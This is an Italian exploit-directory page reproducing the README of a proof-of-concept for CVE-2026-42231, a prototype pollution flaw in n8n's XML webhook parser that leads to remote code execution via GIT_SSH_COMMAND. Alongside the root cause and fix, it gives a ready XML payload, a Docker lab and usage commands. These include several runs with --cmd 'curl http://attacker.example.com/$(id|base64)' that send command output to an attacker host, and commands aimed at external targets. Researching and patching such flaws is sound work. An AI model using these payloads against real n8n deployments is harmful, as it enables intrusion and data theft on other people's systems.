Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/rudsarkar/cve-2026-42231
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza Web
GitHubrudsarkar/cve-2026-42231

CVE-2026-42231

Proof-of-concept exploit per CVE-2026-42231, una vulnerabilità critica di prototype pollution nei webhook XML di n8n che porta all'esecuzione remota di codice. Include laboratorio Docker, PoC in Python e verificatore Node.js.

Vedi Repository
144 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

GHSA-q5f4-99jv-pgg5 — n8n XML Webhook Prototype Pollution → RCE

CVE: CVE-2026-42231
Gravità: Critica (CVSS 10.0)
Versioni interessate: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corretta in: n8n 1.123.32 / 2.17.4 / 2.18.1


Riepilogo della vulnerabilità

packages/cli/src/middlewares/body-parser.ts crea un singleton a livello di modulo del parser xml2js senza tagNameProcessors o attrNameProcessors. Questo consente a un attaccante di inviare un corpo webhook XML contenente un elemento <__proto__>.

xml2js 0.6.2 usa Object.defineProperty con un descrittore di dati per impostare le chiavi degli elementi sugli oggetti parsati. Poiché è sempre , avvolge il valore in un array e lo memorizza come — bypassando l'accessor che normalmente aggiornerebbe la catena del prototipo in modo sicuro.

'__proto__' in obj
true
assignOrPush()
proprietà dati enumerabile propria
[[Set]]

La proprietà propria __proto__ sopravvive a JSON.stringify (eseguito quando n8n persiste i dati di esecuzione su SQLite/PostgreSQL), e dopo JSON.parse al ricaricamento, un successivo Object.assign(target, reloadedBody) reindirizza il prototipo di target all'oggetto controllato dall'attaccante.

Nei workflow che contengono anche un nodo Git che esegue un'operazione SSH, il prototipo inquinato espone un valore spawnOptions / GIT_SSH_COMMAND a simple-git's createInstanceConfig, consentendo l'esecuzione di comandi a livello di sistema operativo.


Causa principale

root@kitploit:~
// packages/cli/src/middlewares/body-parser.ts  (VULNERABILE — < 1.123.32)
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,   // converte i tag in minuscolo — ma NON blocca __proto__
    explicitArray: false,
    // ← NESSUN tagNameProcessors
    // ← NESSUN attrNameProcessors
});

Correzione (>= 1.123.32):

root@kitploit:~
function sanitizeXmlName(name: string): string {
    const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
    return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
    async: true,
    normalize: true,
    normalizeTags: true,
    explicitArray: false,
    tagNameProcessors:  [sanitizeXmlName],
    attrNameProcessors: [sanitizeXmlName],
});

Catena di sfruttamento

root@kitploit:~
1. L'attaccante invia una POST XML a un trigger Webhook pubblico:

      POST /webhook/<id>  Content-Type: application/xml
      <?xml version="1.0" encoding="UTF-8"?>
      <root>
        <__proto__>
          <env GIT_SSH_COMMAND="attacker_cmd"/>
          <spawnoptions><shell>true</shell></spawnoptions>
        </__proto__>
      </root>

2. Il body parser xml2js crea req.body.root dove '__proto__' è una
   PROPRIETÀ DATI ENUMERABILE PROPRIA:
      Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
      → { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
          enumerable: true, writable: true, configurable: true }

3. deepCopy() di n8n itera le chiavi proprie tramite for...in + hasOwnProp.
   L'assegnazione  clone['__proto__'] = deepCopy(attackerArray)
   sostituisce silenziosamente il prototipo di clone tramite l'accessor [[Set]].

4. n8n serializza i dati di esecuzione nel DB:
      JSON.stringify(body.root)
      → '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
   La chiave __proto__ è inclusa perché è propria ed enumerabile.
   Confermato nella tabella execution_data in SQLite.

5. Al ricaricamento, JSON.parse ricrea '__proto__' come proprietà dati propria
   (oggetto semplice, senza avvolgimento in array).
      Object.assign(gitOptions, reloadedBody)
   reindirizza il prototipo di gitOptions all'oggetto controllato dall'attaccante.

6. Quando il nodo Git chiama simpleGit(gitOptions):
      createInstanceConfig(gitOptions)
   legge config.spawnOptions tramite la catena del prototipo → truthy →
   spawnOptionsPlugin viene registrato.
   Con GIT_SSH_COMMAND nell'oggetto env, git esegue il comando dell'attaccante
   alla successiva operazione SSH.

Nota su normalizeTags

normalizeTags: true converte in minuscolo tutti i nomi dei tag XML, quindi gli elementi figlio come <GIT_SSH_COMMAND> diventano git_ssh_command nell'oggetto parsato. Per preservare le maiuscole nei nomi delle variabili d'ambiente, usa attributi XML (i nomi degli attributi non vengono normalizzati da normalizeTags):

root@kitploit:~
<env GIT_SSH_COMMAND="attacker_cmd"/>

Prerequisiti

  1. Un trigger Webhook pubblico (Autenticazione = Nessuna, Content-Type = XML) deve esistere in un workflow attivo.
  2. Per il percorso RCE completo, il workflow deve contenere anche un nodo Git che esegue un'operazione autenticata via SSH (clone / push tramite URL SSH).
  3. Versione n8n < 1.123.32.

Configurazione del laboratorio

Requisiti

  • Docker ≥ 24 con Compose v2
  • Python 3.9+ (per l'uso autonomo del PoC senza Docker)
  • Porta 5678 libera su localhost

Configurazione con un comando

root@kitploit:~
chmod +x exploit.sh
./exploit.sh setup

Questo scarica n8nio/n8n:1.123.22 (ultima release interessata), costruisce l'immagine dell'attaccante, avvia il target vulnerabile su http://localhost:5678, crea e attiva automaticamente un workflow webhook, e salva l'URL del webhook in .webhook_state.


Walkthrough completo dello sfruttamento

1. Configurazione

root@kitploit:~
./exploit.sh setup

Output atteso (troncato):

root@kitploit:~
[*] Download dell'immagine n8n vulnerabile (1.123.22) ...
[*] Costruzione dell'immagine dell'attaccante ...
[*] Avvio del target n8n vulnerabile ...
[*] Attesa che n8n diventi sano ...
[*] Creazione del workflow webhook (Webhook → nodo Code) ...
[+] Laboratorio pronto.

    Esegui:  ./exploit.sh demo        # verifica la primitiva di pollution
             ./exploit.sh exploit     # consegna tutti e tre i payload RCE

2. Verifica della primitiva di pollution (modalità demo)

root@kitploit:~
./exploit.sh demo

Il PoC invia un payload di verifica e mostra il body parsato rispedito dal workflow n8n. Un'istanza vulnerabile restituisce:

root@kitploit:~
[+] HTTP 200
    Risposta: {"step1_ownEnumerableProto":true,
               "step1_descriptor":{"enumerable":true,
                 "value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFERMATO\"}]"},
               "step2_deepCopySimulated":true,
               "step3_jsonRoundTripOwn":true,
               "step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
               "step4_objectAssignPolluted":true, ...}

3. Consegna dei payload con intento RCE

root@kitploit:~
./exploit.sh exploit
# oppure con un comando personalizzato:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"

Vengono consegnati tre payload complementari:

PayloadTecnica
ATag <__proto__> — GIT_SSH_COMMAND come attributo XML
BCatena <constructor><prototype>
C<__proto__> annidato con attributi env

4. Osservazione del risultato (con nodo Git nel workflow)

  • Nel log di esecuzione di n8n, cerca l'errore del comando git — includerà l'output del tuo GIT_SSH_COMMAND iniettato se l'RCE è scattato.
  • In modalità demo con il nodo Code, il body della risposta del workflow conterrà "step4_objectAssignPolluted": true a conferma della catena.

Uso autonomo (senza Docker)

root@kitploit:~
pip install -r requirements.txt

# Solo verifica — nessun nodo Git richiesto:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --demo

# Exploit completo — richiede workflow Webhook + Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target http://n8n.target.com \
    --webhook-id <percorso-webhook> \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

Formato URL webhook (n8n v1.123.x)

In alcune distribuzioni n8n registra il webhook come /webhook/<workflowId>/webhook/<percorso>. Se la forma breve /webhook/<percorso> restituisce 404, passa il prefisso workflow-ID come --target:

root@kitploit:~
python3 poc_GHSA-q5f4-99jv-pgg5.py \
    --target "http://n8n.target.com/webhook/<workflowId>" \
    --webhook-id <percorso> \
    --demo

Verifica locale (Node.js, nessuna istanza live necessaria)

Riproduce l'esatta configurazione del parser xml2js usata da n8n e attraversa tutte e quattro le fasi della catena:

root@kitploit:~
cd /tmp/xml2js-test && npm install [email protected]
node /path/to/verify_GHSA-q5f4-99jv-pgg5.js

Output atteso su configurazione vulnerabile:

root@kitploit:~
[STEP 1] VULNERABILE — '__proto__' è una proprietà dati enumerabile propria
         descrittore: { value: '[Object.prototype, {"polluted":"CONFERMATO"}]',
                       enumerable: true, writable: true, configurable: true }
[STEP 1] Il parser corretto ha rinominato __proto__ in sanitized___proto__
[STEP 2] Prototipo deepCopy modificato → clone proto[1].polluted = "CONFERMATO"
[STEP 3] Dopo JSON round-trip + Object.assign → target.polluted = "undefined"
[ RCE ]  Se target è usato come config simpleGit E il prototipo espone
         es. { spawnOptions: { shell: true } }, git verrà avviato tramite una shell
[STEP 4] mockGitConfig.spawnOptions = {"shell":"/bin/bash"} (trovato tramite catena del prototipo)
[ RCE ]  simpleGit chiamerebbe: spawnOptionsPlugin(config.spawnOptions)
══ RISULTATO: L'istanza usa configurazione xml2js VULNERABILE (nessun sanitizeXmlName) ══

Comandi Docker manuali

root@kitploit:~
# Costruisci l'immagine dell'attaccante
docker build -t n8n-proto-pollution-poc .

# Modalità demo (si collega alla rete del laboratorio condiviso)
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --demo

# Exploit completo
docker run --rm --network ghsa-q5f4-99jv-pgg5_lab \
    n8n-proto-pollution-poc \
    --target http://n8n-vuln:5678/webhook/<workflowId> \
    --webhook-id cve-2026-42231-poc \
    --cmd 'curl http://attacker.example.com/$(id|base64)'

# Contro un target esterno (nessun flag di rete necessario)
docker run --rm n8n-proto-pollution-poc \
    --target https://n8n.example.com \
    --webhook-id <percorso> \
    --demo

Pulizia

root@kitploit:~
./exploit.sh clean

Ferma i container e rimuove i volumi (incluso il database SQLite).


File

FileDescrizione
poc_GHSA-q5f4-99jv-pgg5.pyPoC HTTP Python autonomo — tre varianti di payload XML, modalità --demo e --cmd
verify_GHSA-q5f4-99jv-pgg5.jsVerificatore locale della catena in Node.js — attraversa tutte e 4 le fasi di sfruttamento senza istanza live
DockerfileImmagine container dell'attaccante
docker-compose.ymlLaboratorio completo: n8n vulnerabile + container attaccante
exploit.shScript di supporto per setup, demo, exploit e pulizia
requirements.txtDipendenze Python

Riferimenti

  • GHSA-q5f4-99jv-pgg5
  • Changelog release n8n 1.123.32
  • xml2js assignOrPush — descrittore dati Object.defineProperty
  • Prototype Pollution tramite Object.defineProperty
Scarica lo strumento